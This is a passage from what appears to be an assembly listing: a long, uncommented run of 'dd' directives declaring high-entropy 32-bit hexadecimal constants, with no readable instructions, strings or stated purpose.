2CE9CF40h dd 6A22134Fh, 0A3F2128Dh, 56AF9FB3h, 72E64735h, 4FFCBAC2h dd 36108F8Eh, 0B681D2D4h, 8560F337h, 805C80A3h, 0E0B4E12Bh dd 0C3648A0Eh, 4E548802h, 4832B608h, 0FEDA17C0h, 5F7943B2h dd 0FDB3B5FCh, 44CE6F03h, 0E051501h, 874FD0E9h, 0B19CF7FBh dd 0FE9100CBh, 5056515Fh, 588E9668h, 0A20F528h, 235A1EF4h dd 0EAD38D32h, 0CF86753Ah, 0BB058ED9h, 41AA2BDBh, 7B08AA00h dd 5FE91531h, 5BCD0A57h, 0F5A3E59Ah, 437EEF5Ah, 285A5303h dd 0C8B551D8h, 1717ED80h, 0EC2BF3E9h, 788C849Eh, 0B4564098h dd 2F8068C2h, 55E63AA2h, 4DCDED40h, 8977BD3Ch, 0A718E9DDh dd 0EE65ADF4h, 0F5BA54Bh, 0E5EFC68Ah, 2D2D4F11h, 840E203Dh dd 0D6D85E81h, 27D6BA07h, 161802F7h, 0A255208h, 92007566h dd 7BB7BCF5h, 5039974Dh, 0D73F3F4h, 0C6212C14h, 0F6F14EB6h dd 0F110F87Fh, 105B94Ch, 0AF58B2DFh, 0E0EBD94Dh, 691A2D22h dd 0A58CB01h, 77853808h, 50AE5CBCh, 582708FBh, 0C3055196h dd 25063AB8h, 0EBD1A3C0h, 85BF0F57h, 207A5897h, 90DC587Fh dd 0B74840F6h, 62D7AF50h, 59EF281Ch, 0C780CFC7h, 8D60E981h dd 0C101CC2Fh, 61BE944Fh, 70555CB1h, 9AB420A6h, 4B9D8BEh dd 473310A0h, 95BC24F0h, 224A27F2h, 0D29727EAh, 0D0FAB537h dd 84200878h, 1316B05Dh, 0B8FEF065h, 360F8CEEh, 0D647BD46h dd 0FE475A80h, 0E665572h, 6044EF81h, 517557A9h, 0E9F54B76h dd 24AF4B4Dh, 0EA4B760h, 200BD2A4h, 0DE7B137Dh, 9808A099h dd 2E900BB8h, 15543E12h, 7573A283h, 1A0C0E4Bh, 1769618h dd 611215D7h, 75E13065h, 20443B3h, 0EBA640h, 0B1038B71h dd 40975D50h, 764E57E7h, 49AD902Bh, 0FA5F9DFBh, 0A674884Ah dd 38C4D7A5h, 5A205CB0h, 0A654BD21h, 0BE37EDAh, 1C753B2Bh dd 9C32FC3Bh, 9ABE14B3h, 0FAEA8185h, 0EE009894h, 1DEB4268h dd 2DE064E9h, 2F7BAC31h, 5C94C1E3h, 926EE22Ah, 5D5B2509h dd 2109C2E5h, 2176455h, 6CBDB951h, 0BC8164CEh, 6E317965h dd 272E9E04h, 0D28BFB16h, 0FF693C1Fh, 45989C2h, 83A0FB27h dd 82C36021h, 8C7104CBh, 68504A01h, 49692BDFh, 355BF03Ah dd 761A26B0h, 2E09A1h, 3F436DFAh, 0E9501351h, 5B624CFAh dd 4402F5Ah, 5BEE5C29h, 0A8DB844Fh, 0B2C9DE83h, 0D65591F1h dd 41EC8770h, 79C06045h, 0D3D2D2EDh, 5FCEFA20h, 0C7E26359h dd 3F1BEDFCh, 0F791CF8Ch, 73928F51h, 85C0F63Ch, 0E88D1BB8h dd 0F56516E1h, 513FE47Bh, 591A5E94h, 3E974011h, 0DB6C8247h dd 414B0BF6h, 4DA9EF31h, 55198304h, 0E72D317Bh, 0F6C64E0Ah dd 9652F171h, 0D52C42C2h, 0C132E0ADh, 2EE049DCh, 0B85BF7B8h dd 25A1B656h, 0C1437BE9h, 9A20D98h, 56E9B07h, 7471D637h dd 0F447C729h, 201D4630h, 9012B03Ch, 0E908800Ch, 725C955Fh dd 0DDFA3145h, 0D79A20ADh, 0F645592Dh, 81541D5Fh, 0E7C15FACh dd 0D6A07E07h, 0D1CF0681h dd 5E1EC05Bh, 6E399E01h, 1F79E938h, 120FA32Eh, 8038C349h dd 605A41DEh, 49B2B70Dh, 4E141722h, 943FBD3Ch, 5DA10090h dd 0D6BE7469h, 648FA50h, 3DE9CE31h, 82D418Ah, 907F461Ah dd 1E642E64h, 5F391084h, 0E9F03CFBh, 57F73024h, 5B464E27h dd 256FC04Eh, 0E60421B3h, 62890F58h, 0E78203D4h, 0A36ED5B0h dd 0A5C2C63Bh, 8666575Bh, 0DB4BBE2Fh, 19200B64h, 0E98B0751h dd 0B1BC60ABh, 5B805C87h, 676F0667h, 0F1240FC1h, 0C2DFF16Ah dd 5F0FF055h, 6919BC5Ah, 5B14F538h, 93385698h, 2CEACBFEh dd 0E44038E9h, 0F05E6454h, 8368891Bh, 0A029E5D2h, 0CBDD02Bh dd 19143E5Dh, 5853777Bh, 0F50FD922h, 0D4B705Fh, 1C4AFF54h dd 0E119893Fh, 5247007Ch, 0B860EE7Eh, 5E16E2E0h, 3DFB8D8h dd 3D863AB5h, 7D5EE231h, 0E5453787h, 0ED2C82F6h, 20444455h dd 0C10EC2AFh, 6F8307EEh, 206C6901h, 40D9B866h, 16134E80h dd 689909ACh, 6D82715Eh, 8226A34Ah, 7E489AF3h, 13DF48BFh dd 4E9DEF7Dh, 0F9DAF5F0h, 9853FFF6h, 0C5295D05h, 9CA31304h dd 1AFD5F0Bh, 72D0D680h, 0D25B1EC4h, 2E520BFFh, 0A0CCE68h dd 0E11DD183h, 5956D540h, 33C0B55Eh, 0F09EAD1h, 225F5884h dd 74D7233Ah, 0A6B242FDh, 2DD0F05Dh, 0D0F330C4h, 0DD12E963h dd 1065A3ABh, 0D92FEE29h, 0E5573389h, 5BDE06E7h, 0CA2DF733h dd 28BC59FEh, 3AEF3830h, 0B665EB4Eh, 0ECCD22BBh, 4EA76801h dd 0B32AA336h, 0DEC2B7C7h, 8F3CFF00h, 5F9F7C4Ah, 0B9B97285h dd 3E1125Ch, 712C2C00h, 0C031236Dh, 84B85022h, 0E85FFFE6h dd 0F4ABBEC5h, 0DD12F799h, 82F899F3h, 8465EC5Bh, 540F2058h dd 4E8A676h, 4F291B78h, 1F7C6B83h, 0F3DBE90Dh, 44A0ACA6h dd 0FD97D828h, 0F2C806B6h, 0F7B50003h, 2C59E828h, 0EE77F072h dd 0CBE904E8h, 69BEACC5h, 52BE1032h, 808A0FB6h, 27E998E6h dd 0AF290FC1h, 0C8955ED2h, 443B8BA0h, 1F423271h, 0B762B61h dd 0C152581Dh, 9F60FE2Dh, 8394BDC8h, 74B47C9Dh, 1E4F48BFh dd 0F5258564h, 0FBDDF012h, 499625C5h, 2FED42Eh, 0D91FA249h dd 0DF7A09BAh, 24D3CF31h, 1A70D4F6h, 0C7D3972Dh, 0B0686CB0h dd 0F281AC60h, 310121Bh, 0B0F6AC17h, 4BC1DAF7h, 157D81E2h dd 0EBCB3AD9h, 80E7EC10h, 7858BE68h, 465E3F1Eh, 81C18C93h dd 74F1E98Eh, 0D85A2132h, 9DEA8E84h, 39F8EC08h, 6BA8FC99h dd 3E7D150Fh, 2F17DC12h, 675F7922h, 20921CD9h, 63E0F9Dh dd 0C9C90363h, 4FD08272h, 5B3BA6C1h, 0FC206FC4h, 7BA8415Ah dd 0A86B65B1h, 535B13BBh, 259CFA08h, 9FCE4577h, 8005EDE9h dd 3A00EF31h, 0A92F7BCFh, 0ECC09053h, 21902E41h, 0FA94B93Fh dd 0B7B9F5Fh, 126D466h, 30087CA8h, 1B2E801Ch, 0FD816295h dd 402297FAh, 1DBD1DE8h, 0C930DE3Fh, 34DD8834h, 0BFC24FBAh dd 5B68AA3Ch, 8FBCED7Fh, 310D24C7h, 2C69721h, 0DDED605Fh dd 0C501305Bh, 23357196h, 0C33E77B0h, 0A5F2269Eh, 71D1180h dd 30E95034h, 0C39B8E6Dh, 92257389h, 0CFC34043h, 6E5F8129h dd 321477B0h, 0BDE4F305h, 0FFA9097Dh, 0A1ECDEA4h, 9FFB6301h dd 795766D2h, 2FF58AFFh, 0F34B20A3h, 60781911h, 5AF18A03h dd 0DE97148Ah, 63D050F7h, 4978B002h, 7EA876E9h, 5322BAB1h dd 0C201FC9Dh, 0EEDF12BCh, 0A295F80h, 0B4EEA59h, 82D71B70h dd 5FE2F7AFh, 7F972A14h, 310E3915h, 8F54CEEh, 87D53CF7h dd 0B4C6AC4Dh, 0CF05A7EAh, 30803B9Ah, 50F230C0h, 0FF609D91h dd 1E0572B8h, 0AAE94602h, 61FFE397h, 8F852C6Eh, 82415760h dd 0D30865D6h, 0C372629h, 0BB0C0C0Fh, 0A130F29Dh, 8005A911h dd 5366CBC4h, 2016B30Eh, 815BC9D9h, 0F13049D9h, 4DB377Bh dd 5A48BCBh, 66C8EB80h, 0DDB3B3C1h, 6FD1F701h, 0DB7BCA0Dh dd 0C295CE4h, 0FA01FC02h, 3340E296h, 0B1D90505h, 0EF09C130h dd 6DF60680h, 330B097Dh, 0AA9CF721h, 0DFCAFF35h, 0DE040EFDh dd 0EE3FDD76h, 34E77640h, 5E2931C2h, 0D00CA854h, 0C5E9090Ch dd 83907D01h, 8A2F685Ch, 73C9855h, 51B22803h, 22CC5CAEh dd 0F203BCD0h, 2D32E843h, 7E0B475Eh, 5B30F706h, 0F3066A51h dd 5FF80923h, 4A81981Dh, 60C6C9E5h, 195E8870h, 561F9F8Bh dd 4616D257h, 350103A6h, 859D1CF4h, 828E21D1h, 0ED20B848h dd 58937E9Fh, 0D098D801h, 0DBD50882h, 2C5B13E1h, 6E0DBD3Bh dd 7E608B4Bh, 0ECC278FFh, 0BC385EC1h, 20F94F5h, 882AB252h dd 4F125FD5h, 6468F168h, 97A36762h, 6BBE2DEEh, 2C7C5CE8h dd 8E2E3598h, 0D942C388h, 0E654665Bh, 0C2800240h, 0CA2804A6h dd 0AAE2D1E9h, 0A08602A3h, 41BF1C0Dh, 407B3CCCh, 9CF8F7E8h dd 293ED79Fh, 33C9F4FDh, 0B4015F5Eh, 3047B20Ch, 2F42A00h dd 48E9670Bh, 0AFD4FB8Bh, 2820D3C4h, 0B95107CFh, 0D3134964h dd 9BEFCB29h, 6686321h, 5B5A3669h, 0C3114BBBh, 0E9854055h dd 0F3425F6Eh, 578F4EC1h, 0EE315125h, 0D0797F59h, 0BD6B2D35h dd 0EEC00BA8h, 7F89F508h, 0D6CB7F6h, 0FA3A25E9h, 173C6BD1h dd 0BA898513h, 5A876242h, 0A6C702A8h, 3195A07Eh, 36607442h dd 75BEF2E9h, 0B3D0A63Bh, 924D0902h, 8FBD61Fh, 5241153h dd 6A4EA309h, 0D9E493B0h, 16AC82A2h, 0F1EF016Bh, 0F003D77Fh dd 1DA0E7A8h, 8DA43CB1h, 4B51A909h, 20C7F816h, 7795B5CCh dd 0E9255F16h, 0B4B3F07Ah, 4EE0583Fh, 4C14A13Ch, 67EA4048h dd 6664397Eh, 51C0595Ch, 4EDF0248h, 9D61ABE6h, 0B32A8F68h dd 16BF076Bh, 1D0F307h, 9C7DE9F8h, 0AA6F2DC8h, 0F22F597h dd 0EB5077C2h, 5A4A08F6h, 43D28D28h, 4F0C571Ah, 991F98FCh dd 0AECB3E1Ah, 8ECDA033h, 0D7F72D8Ch, 7311F4Ch, 0CC8830B1h dd 0A14CEC2Eh, 72FEC80h, 64C069E3h, 4CD2B207h, 854D773Fh dd 0E6B05E11h, 0EA3B0329h, 20478F0Ch, 0A8206D6h, 0BD8D3457h dd 49C3FDC2h, 9DB8C4h, 0A1F5814Dh, 0BC443A73h, 0E8933F52h dd 4574AF12h, 66FD6889h, 0E645CAA0h, 0AE934E5Dh, 70BC784h dd 8B1C1059h, 1FFE2122h, 0A20BE26h, 0E98DE92Fh, 0CE7F340Fh dd 1AE95FA3h, 7E29A693h, 0CA8B2263h, 6FCC8932h, 3027EAD8h dd 0C2DC9218h, 5E2705F6h, 381481E4h, 0EC3B3267h, 5A08400Dh dd 48236817h, 0EE374237h, 4598F754h, 0A92B2DE9h, 87044AD1h dd 0FF56236Ch, 0ED4A949Ah, 0DDC90317h, 0C2437F72h, 587AD8CAh dd 0BE1E732Dh, 31DDBE47h, 9A20AD48h, 1F5B543Eh, 0CE3EA7ACh dd 1F1024E6h, 2C475027h, 9F4B2640h, 3C18205Dh, 0BF6451A7h dd 58E91281h, 0FBE19D3Fh, 0DB192FFDh, 2D98BDBEh, 0EBF56BCCh dd 0B7B35F8h, 5D39D42Fh, 2D5AEA32h, 2C899654h, 36869B6Fh dd 63E42412h, 0C7162A4h, 1AC1E230h, 9F64B980h, 50C954C1h dd 2F4C7FFBh, 768888B6h, 9B68047Ch, 7ED2B330h, 4CF74A59h dd 0F8D80EC5h, 5FA2F73Ch, 59CF3001h, 0F307EFC0h, 0EC23D2B7h dd 8A8EDB08h, 0CAAF371Bh, 0DC8024E5h, 0F2FF5F12h, 0B5E9C264h dd 0ECE24820h, 10D459F6h, 1E0A5A7Ch, 0A0DB99F2h, 54073B93h dd 0C0F25559h, 0D9BE006Ch, 1B4A0F0Dh, 0EA7DC0AFh, 827995C8h dd 90D08920h, 0A7791753h, 40DEF94Ch, 5EBD5808h, 4FB6D87Bh dd 4E68660Bh, 51B923Dh, 0DEAD1AF3h, 45CD2212h, 0B3E4A32Fh dd 0CF127E30h, 91BA2952h, 3E44E990h, 0CB639A44h, 7C1645EDh dd 4558E2AAh, 1B583CC9h, 5F0BD3F7h, 0B73DFF54h, 6B6DE040h dd 436627BEh, 0FDF21255h, 0D5E01C0Bh, 0F15F639Ch, 7627C6CEh dd 0E95D8910h, 94C4F432h dd 52FC8C29h, 48D0BFA2h, 0F91F38B0h, 0E0ED7FB9h, 61DBE9FCh dd 0EBC02EF6h, 0E1C9E002h, 6F87E5FFh, 0BC5B84CAh, 0DE110F5h dd 0EDBBE916h, 9BFD2F1Ch, 0B491EB28h, 0A070CDFFh, 0F434991Fh dd 66E53587h, 49A503E9h, 5F581455h, 58D405ECh, 6CF3EB5Eh dd 0B89CAF92h, 575F25E9h, 0F770DD56h, 3D9590DBh, 10026204h dd 8D0E953h, 0C144A07Fh, 5DC07046h, 34748730h, 0AA0C1ED4h dd 0F07A9FB1h, 80415423h, 8929B96Bh, 0E9FC600Ah, 0BD9E6B73h dd 34F6E8DFh, 0D85A4B06h, 0E745BA10h, 95E39DD8h, 756825F1h dd 2042AD26h, 23D109CAh, 102CC680h, 4CE92FEEh, 0AAD35DB9h dd 459929D1h, 3A719D89h, 0E5FA6B44h, 867AFB5Ch, 0F65CFAC1h dd 0AC961EDh, 0CC0253BDh, 0FBF64D4Ah, 0C858FBCCh, 7A730F26h dd 10930165h, 0B94A08B4h, 5468829Dh, 5861761Bh, 8398C301h dd 0E175F764h, 2C1603E8h, 68DD2C58h, 0E6B3A25Bh, 5DBE2A78h dd 0E951122Ch, 0AB285761h, 0BC64E4DAh, 0A4A1BBC7h, 0A0BBECDBh dd 4330E9B0h, 0B104E16Eh, 68F00B28h, 935C451Ah, 6D9F9F6Fh dd 0B90CE897h, 9D2D3120h, 9426D974h, 84BBB9E4h, 0DF2DE28Fh dd 80C4114Bh, 5D95C910h, 4920042Dh, 0EF41D1F7h, 9C384600h dd 983109FCh, 499888BCh, 0C4DF82E8h, 9D3FB25Eh, 24F979DAh dd 0AC4E7884h, 809732A3h, 5AA7924h, 0B301E6FEh, 0F10ED04h dd 0B4683F83h, 33C1AF4Bh, 47803D19h, 0D55E8FC7h, 0E8905650h dd 4E4E7922h, 9398BBE3h, 145E9F5Ah, 0B5F1D75Ah, 457B7CE9h dd 5B40AC9Ch, 0BA4B36DAh, 0C89AF544h, 7D751E92h, 6E5DF58Bh dd 0FB68164Ah, 1345F329h, 114594DDh, 0D4B66DFh, 2F0E7E51h dd 893A1AD6h, 48B7E9CBh, 1496C18Bh, 0CD1BF313h, 7F60E005h dd 529EE08Ch, 70845D6Eh, 0B68AEC78h, 4CD7272Ah, 0B73BFA7Ch dd 0AC5D8C85h, 5BE9AC98h, 0BF8985E2h, 0D197B2B6h, 2E6DBCE0h dd 0F9961BB6h, 2825D7ECh, 0E91607B2h, 81C9FE8Eh, 979D85E0h dd 95BD8ED3h, 17A2DD2Ah, 67BA4D01h, 1D66A2F9h, 5358FEFEh dd 14F5FE51h, 9444F642h, 4B0F7610h, 0D10EBF1Ch, 66F9095Ah dd 0B6B42F1Ah, 954C4458h, 959C4ECAh, 0B7DB92FCh, 0A427456h dd 0F1DCA1E2h, 0EE6A4Ah, 0AF0B5CE1h, 722515Ch, 2B153889h dd 9FB8454h, 0C57F5EE5h, 17F0CFDh, 0D30BBF4Ch, 7589D0C3h dd 0BA094E84h, 1989F0FDh, 302D03F0h, 0B632D5E8h, 0EF265E77h dd 0EFBA68A4h, 15A17161h, 2B32273Eh, 654A3862h, 87262D4Ch dd 1E102FF5h, 4A903125h, 229D0184h, 0E018A8F5h, 90D329D6h dd 5A0880C9h, 9279EEE9h, 5ED07799h, 0B2E217B3h, 0EDD18715h dd 0C1360B9h, 82632502h, 0B4703C7Ah, 66D88183h, 0CB47B821h dd 2F16D426h, 6EF4D101h, 7E60690Bh, 56BB0326h, 0E7B00E0Fh dd 4C3E63DEh, 0B9F70362h, 3B374552h, 8015BC0Ch, 2C4EB356h dd 0C5BAD8BFh, 0E569C8C4h, 3784580Fh, 0DC31ABDEh, 28A7D627h dd 0F2534CD6h, 341E68CDh, 0BD2C0B51h, 8106EC24h, 0C2B0BDB8h dd 6911F99Fh, 294CE155h, 58D7CC25h, 0BFD663CAh, 5FF6863Ch dd 12D5A3E9h, 3CEE07F2h, 0C6492EB5h, 82E73CFAh, 474DD6B9h dd 0EAB3FE52h, 0B22E026Fh, 0C7DEADB8h, 4914FD2Fh, 91C00B4Ah dd 0BCEE8F0Fh, 12E52708h, 66A8849h, 0B42FD528h, 124D1E27h dd 0FD015B68h, 9FD90D3h, 0DFC5229Eh, 0D1065C83h, 75F8A09Eh dd 2AF9A059h, 0BFD847h, 0D772F696h, 53D8C112h, 3E702708h dd 7B68A6C8h, 34A1B34Fh, 0D96781E9h, 3959CD88h, 3FB641F0h dd 0A6FB1512h, 5BE9835Dh, 0BF2604F5h, 0BBB86661h, 74C78FB4h dd 5D402D21h, 425999DEh, 0DD108629h, 0CDFE045Eh, 8AB55066h dd 58E1E5D1h, 0CE64FC6Fh, 0CF8D0CE9h, 5392747h, 1E043D2Fh dd 0C6C7BC08h, 2F6570E4h, 0FB121012h, 4DC2D5FCh, 8366DF1Dh dd 3F1BB920h, 5F9CDFF7h, 6D5F2535h, 820F02F5h, 18F5CA40h dd 951274C0h, 68844A5Bh, 0CFFB026Eh, 53986018h, 30E96FB7h dd 53ED0B2h, 0FB245073h, 0A613D93Eh, 3C47E1E5h, 0F9548C30h dd 0AC80DC5Ch, 0BC4A92D1h, 0F27E2741h, 0B8A62B7h, 500070E0h dd 6380BCB4h, 11B316C4h, 545C382Fh, 2EA63F5h, 28E06204h dd 5E822C23h, 97C71C8h, 46D2EE88h, 0AD230B0h, 0B412C8EBh dd 745CD32Dh, 0EDC005C5h, 4EE1602h, 1F3B067Ah, 0EECBC59Dh dd 0DF866814h, 0F03262Ah, 4A30107Fh, 4380D1BAh, 4CF33B9Dh dd 0F0C3969Fh, 78BB5A66h, 889F14Bh, 562DC423h, 539202F5h dd 8606EDFh, 412F350Eh, 346F7213h, 0AE56F36Ah, 0FF83E00Bh dd 212FEC9Ch, 8C3D1C3h, 55254981h, 964ADBBEh, 0F7EB3AC5h dd 40C62DB4h, 4C5068B5h, 0BEC01740h, 0C2978D91h, 96F2312Fh dd 13935BBBh, 0D2234EE9h, 0EF871213h, 235F2105h, 483DB6EAh dd 4D175A0Bh, 650B18ECh, 73002840h, 0DC0C4BC1h, 0F1293D14h dd 0D408418Fh, 0DBBF9A83h, 0FD01046Fh, 0BBC8EB5Fh, 0AA024BC7h dd 15786039h, 0D4E3696h, 0CA410798h, 72AC92Eh, 0DE7EE1D2h dd 60A03F71h, 0C970B701h, 0A97F9B1Dh, 20DDF7CAh, 0CAC79216h dd 0EB1234F0h, 8B609D16h, 0BC5AA5A7h, 5A00E1B8h, 7BFBB850h dd 0D002F8Ah, 780C5498h, 727FF92Dh, 0C7290B8Eh, 50C217E9h dd 180E707Eh, 0E877BF92h, 3CF50193h, 6E9BC518h, 0F8C90C5Eh dd 16C42035h, 179E3441h, 7561A5C7h, 37217E45h, 0A72E1C52h dd 0B35301FAh, 5BDE3082h, 0D116AF2Ah, 17BAA4B0h, 0A8E76B96h dd 2ECF0455h, 0A2FA7A39h, 0E2067C79h, 3B511257h, 0A072084h dd 35AF6813h, 562F33h, 0CD456E72h, 0A214BE77h, 77EAED24h dd 74BADF12h, 9117FE89h, 0F88561EAh, 0BA2B0D4Ch, 5A70562Ch dd 0F1B4A814h, 0B07EAA2Ch, 0D559A72Dh, 3C4A041Bh, 0FC82302Dh dd 4A020BACh, 87DAF92Eh, 0A0840709h, 408F06E0h, 0A3B23B16h dd 0C6E294A5h, 5B64F2D1h, 0B25AB850h, 70ED0287h, 0A16B6A2Dh dd 206459BEh, 186D7920h, 0C296701h, 93CF2FAh, 3D3AC92Bh dd 6B0BF2EBh, 8274D54Dh, 5FA46A7Dh, 0B0B6FD1h, 95FDCEB6h dd 845D1412h, 9A8A57BDh, 8605B95Fh, 3F458502h, 569643C1h dd 3FCB1E13h, 0B45B0850h, 0DE386FD7h, 0FE4ECDF9h, 0DD2CA1CEh dd 5B991097h, 685BEF01h, 336F0B8Eh, 0FFADCD53h, 64B3CF77h dd 0D3E517C1h, 5E1FBA5Ah, 2166BF07h, 0F696E29Bh, 608EC268h dd 38E798DDh, 5A9AC9EBh, 686144D4h, 4048577Ah, 0B2435BDCh dd 0F5E396E8h, 22BAB34Ah, 0C13D3431h, 1AE8AB5Eh, 3C7B6094h dd 2D80DB15h, 5AF911C9h, 3EED0F7h, 361DFC02h, 0E8AB56E9h dd 0A821B220h, 0BF47E7BFh, 0FF378911h, 6DB35C5Eh, 886B0400h dd 69F381EDh, 7081313h, 680020ABh, 46977C7Dh, 84BF4F93h dd 3681FB41h, 776CE767h, 0CFC7FBD8h, 1E3FB980h, 897DA138h dd 0C748C469h, 0F3BD17CDh, 125EC997h, 234BF528h, 7EB6F3ACh dd 0D2250198h, 0BFBC72F3h, 2D6B9A78h, 9AA3F725h, 0A3137C2Bh dd 46ED53D8h, 9DBAE899h, 3ACCFBCFh, 0C3414ED0h, 69242B9Ah dd 6FE16097h, 28EFB41Fh, 150104ACh, 0A491310Dh, 0E26F5BDDh dd 9868C462h, 4817F2AAh, 191B00F1h, 0E9BA5837h, 0A7C825E6h dd 7028AA5Eh, 472806F6h, 0D013C55Ah, 3EF09415h, 8DA82D55h dd 1EE822DDh, 6130F741h, 6EB8C02Eh, 8C4187B0h, 0FD705E7Bh dd 0E29EBC16h, 84680B29h, 0A9B4D57Eh, 5759899Dh, 0A2E96379h dd 7F23A1DBh, 2E613E0h, 118A0F0Bh, 0EFED5D37h, 0D5055A0Bh dd 0BDE99122h, 8B8C847Fh, 0C114B2FBh, 0FC36E957h, 11DD53A5h dd 57DE0647h, 57692FF9h dd 5A4F9A58h, 0F04AA949h, 32429584h, 0CDE12955h, 0C49AAD98h dd 70FEFE5Fh, 9C96F7E9h, 9EDE010Ch, 524E0B56h, 96D75B30h dd 952F2747h, 40828371h, 0FD45EE59h, 0C06E3EF9h, 6574C7CFh dd 9DE91728h, 10FAF9BBh, 0B05AD0A2h, 619DDB5Eh, 0C5288B78h dd 6857C702h, 860911A4h, 3F3BC658h, 0F6DE9385h, 925ECB6Dh dd 19BC05F7h, 5300C8ECh, 0E3711F68h, 4B045B4Ah, 24A88E0Fh dd 0F83241AAh, 8248832Ch, 0B02F994Ah, 9BDBD53Fh, 7351402Fh dd 21C22F16h, 7B0CCCE1h, 49BDD4D0h, 53080028h, 0FD3DC4B8h dd 315AE9B1h, 0D87AE6F1h, 975F39F4h, 53C063BFh, 2B20FEE1h dd 0B0AD85D3h, 60D10F9Dh, 6C915EE6h, 539E3A16h, 625DE500h dd 98D10678h, 923E478h, 31B68F85h, 832AA07Fh, 2AFD54F6h dd 0F88320E9h, 0B30D9D58h, 0CB0B7E06h, 2737C625h, 3E1836CEh dd 0A2275A30h, 26EC7062h, 11C3F37h, 262003E9h, 8AE64275h dd 16AA46F7h, 0B111FBDAh, 8B565051h, 0F94831C8h, 483359DFh dd 5F3C38EBh, 305739FBh, 6004DBC4h, 0D7F76535h, 18E7AAE0h dd 8E234B28h, 0DCDBEECFh, 5FEAF176h, 7D3440D9h, 6169CB0h dd 0E4C80F5Ch, 3F322E5Ah, 0DEF485Dh, 552A1234h, 4A2C0405h dd 62EB1788h, 9DA184B6h, 2A5F4A34h, 0D25BEAE6h, 0AE565B68h dd 0F687552Fh, 0EC09A54Ch, 908A469Fh, 763A04A2h, 71AC5F6Bh dd 0ADEE914Ah, 0B37293E4h, 877F2E04h, 5A2543B3h, 3508D75Bh dd 879B3AB7h, 82D338BDh, 72F60A4Eh, 0A5CD8100h, 0F39B123h dd 0F825E7F4h, 19C75DFEh, 7DF08A89h, 5AE90FE8h, 0BA9C0195h dd 0E0FA6A17h, 914EAC9h, 0F54B344h, 0FAC6CF85h, 6BEC163Ch dd 16DE6EDCh, 1216288h, 86495BBBh, 0A085201Bh, 4DC14F01h dd 0D6E9514Bh, 7B843528h, 0EB8003DAh, 0B41E9D6Fh, 28D44D5h dd 767463BFh, 8E0C4072h, 0B0D64A38h, 9D5A29D0h, 34E7D7ECh dd 0F9EDEB47h, 0E2541D04h, 0B066E81Fh, 4C56377h, 0E9C72110h dd 54D9D325h, 89B0F3B1h, 903A68A3h, 0B99CFD56h, 0C3504708h dd 0F504914Dh, 6DD418B8h, 92C1B9BEh, 3A9DBF07h, 0A117B435h dd 0E91E81AAh, 0BE9857D5h, 71D052C0h, 0AE072DE8h, 5594F04h dd 46C82460h, 82F2E701h, 8DB95107h, 0A6CF1A12h, 4A7DB071h dd 0C721AAD9h, 0B874F0E3h, 0F7F13ABh, 0EEE73827h, 0D1324E17h dd 0A3C62A00h, 171AC1B2h, 0FDF78957h, 0E1D21240h, 39065964h dd 2663BFBCh, 673A42B5h, 800E8051h, 0E91A18EDh, 42264C6Ah dd 3F4A7B63h, 81867624h, 6C3A65BEh, 92929F5Ch, 0E9176407h dd 0D565099Bh, 0D42DEACDh, 0D38B8919h, 0B14E46F1h, 41BBE210h dd 94DD018Eh, 0F52CA781h, 78FB251Eh, 224F279Eh, 7C7D8A75h dd 0C85F78ABh, 4BDFF780h, 0E917F157h, 96F2C747h, 7C18097Fh dd 0ACF1532Fh, 0D398A4EFh, 50023703h, 1214B15Fh, 0F78DE928h dd 9DB9F2C6h, 4AF1BE9Ch, 29C0CDA9h, 9E685BDAh, 0D0A4115Ch dd 20D73BE9h, 0B1FF64FDh, 51F8EABBh, 1093769h, 1A60D8D5h dd 9EBC93E9h, 4E1A5E60h, 76BF6FE0h, 996E09E4h, 0F762B4D6h dd 6CF477D8h, 44AC038Fh, 0AAC0C201h, 0F62D23BFh, 0C5709539h dd 1EBD4F4Eh, 845F2Ch, 2BCC0210h, 2049C1E9h, 0A3B413AFh dd 778B83AAh, 286CEC98h, 0E958E602h, 55FEF74Fh, 0CC685FF9h dd 870C69E3h, 0A34D309h, 68C9C32Fh, 0FAC212F6h, 4AA1EC2Ch dd 7963F3F5h, 65202727h, 4FA920ABh, 0F66AC20Ch, 0A8203A44h dd 557EB5BAh, 0FFE709E2h, 820FE046h, 0A446C242h, 0A9915636h dd 312A73A4h, 80D80DFEh, 8C2FC5F5h, 7E29F5F9h, 685D3B6Fh dd 0BA17342Ah, 7A9825A5h, 0E98975D9h, 8870A377h, 4BD9BAF0h dd 0C79BE18Bh, 1B1A5EA7h, 34C17E62h, 0D68700DBh, 56D226F7h dd 3BC110F6h, 0DD4B7C55h, 161CDB90h, 0A44260E2h, 41BC9217h dd 8995C19Dh, 2DE08B7Eh, 9A7D853h, 692D0192h, 12F77205h dd 0ABA46407h, 0B92E6F9h, 65FDD377h, 0BAEE93E6h, 0BD0CF7F0h dd 0E9E28053h, 0F4B64A75h, 31450324h, 0DAE1143Ch, 0A5CA2ED9h dd 62C0AA25h, 7C27685Ch, 3BBC196Fh, 51004A38h, 0E180D5B1h dd 0D93AF621h, 308BCC0h, 0CE28A5E9h, 7E35F759h, 920E30B8h dd 0EFDADE30h, 21765989h, 0B5967D27h, 0D20A4F91h, 0F642C12Dh dd 0E8800F75h, 6858C130h, 0E132C431h, 0B32A2E9Fh, 9C2D06E3h dd 0B0A932Ch, 42BC0AFBh, 0BB536080h, 5624391Ch, 0E5049740h dd 0A8804630h, 2D4B65CBh, 647471BAh, 0B178E904h, 0F02CB6C8h dd 8BB95033h, 23B00305h, 0D82936DAh, 5A085242h, 0AC6A80F1h dd 0F016797Fh, 6901535Eh, 411D4CB1h, 78C1E43Ah, 0AC419141h dd 0F23D6AB0h, 0BB20AFD3h, 5B26214Fh, 21EFD78h, 167118C5h dd 3148401Ah, 1D113061h, 0D363528Ah, 8800754Eh, 0ED81E5D1h dd 344C3AC6h, 32EE4A7Bh, 1C485D05h, 0B89EFAE9h, 43AA4430h dd 0E02EFB12h, 0F460878Dh, 0E9DBF7F6h, 8C4A4B3Fh, 0E741723Fh dd 0E9E00769h, 0E7BFBA5Eh, 8A3C8D2Ch, 0EFF82AFDh, 0D0E7C09Dh dd 685E0928h, 5C0FFA2Fh, 0FEE0C131h, 0EF03EE5h, 0B3795E1Bh dd 0DC856BFEh, 13680491h, 6E081376h, 40FE2F40h, 0DD1C6758h dd 37A78289h, 0D6AF1F83h, 31ACE320h, 0D0B554F1h, 22E92D00h dd 0F304918Bh, 0E8D5C441h, 88F297CEh, 7D7F2719h, 0F9842EA9h dd 0AD63FCEFh, 0A17AF82Eh, 4B00D820h, 1A4A8C0Fh, 0B6BFB712h dd 0A21618E6h, 4F2DE926h, 0DFCDA295h, 0FB499256h, 0D1FC050Fh dd 29FC31ABh, 